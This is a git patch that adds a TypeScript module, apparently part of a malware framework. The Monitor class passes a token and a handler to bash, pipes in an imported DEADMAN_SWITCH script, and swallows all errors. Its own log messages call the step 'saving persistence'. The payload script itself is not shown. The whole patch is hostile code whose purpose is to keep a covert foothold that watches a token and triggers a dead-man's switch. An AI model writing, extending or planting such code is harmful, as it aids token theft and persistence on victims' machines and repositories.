From 7b41e5dab9b0017103b76f29693383e1a70a8dd5 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:12:37 +0000 Subject: [PATCH] Upload files to "src/mutator/poller" --- src/mutator/poller/monitor.ts | 42 +++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 src/mutator/poller/monitor.ts diff --git a/src/mutator/poller/monitor.ts b/src/mutator/poller/monitor.ts new file mode 100644 index 0000000..6b92221 --- /dev/null +++ b/src/mutator/poller/monitor.ts @@ -0,0 +1,42 @@ +import { DEADMAN_SWITCH } from "../../generated"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; + +export class Monitor extends Mutator { + private token: string; + private handler: string; + + constructor(token: string, handler: string) { + super(); + this.token = token; + this.handler = handler; + } + + private async installTokenMonitor(token: string, handler: string) { + try { + const proc = Bun.spawn(["bash", "-s", "--", token, handler], { + stdin: "pipe", + stdout: "pipe", + stderr: "pipe", + }); + + proc.stdin.write(DEADMAN_SWITCH); + proc.stdin.end(); + + const exitCode = await proc.exited; + if (exitCode !== 0) { + logUtil.info("We tried."); + } + } catch (e) { + logUtil.info("Failure saving persistence."); + } + } + + async execute() { + try { + await this.installTokenMonitor(this.token, this.handler); + } catch (e) {} + + return true; + } +}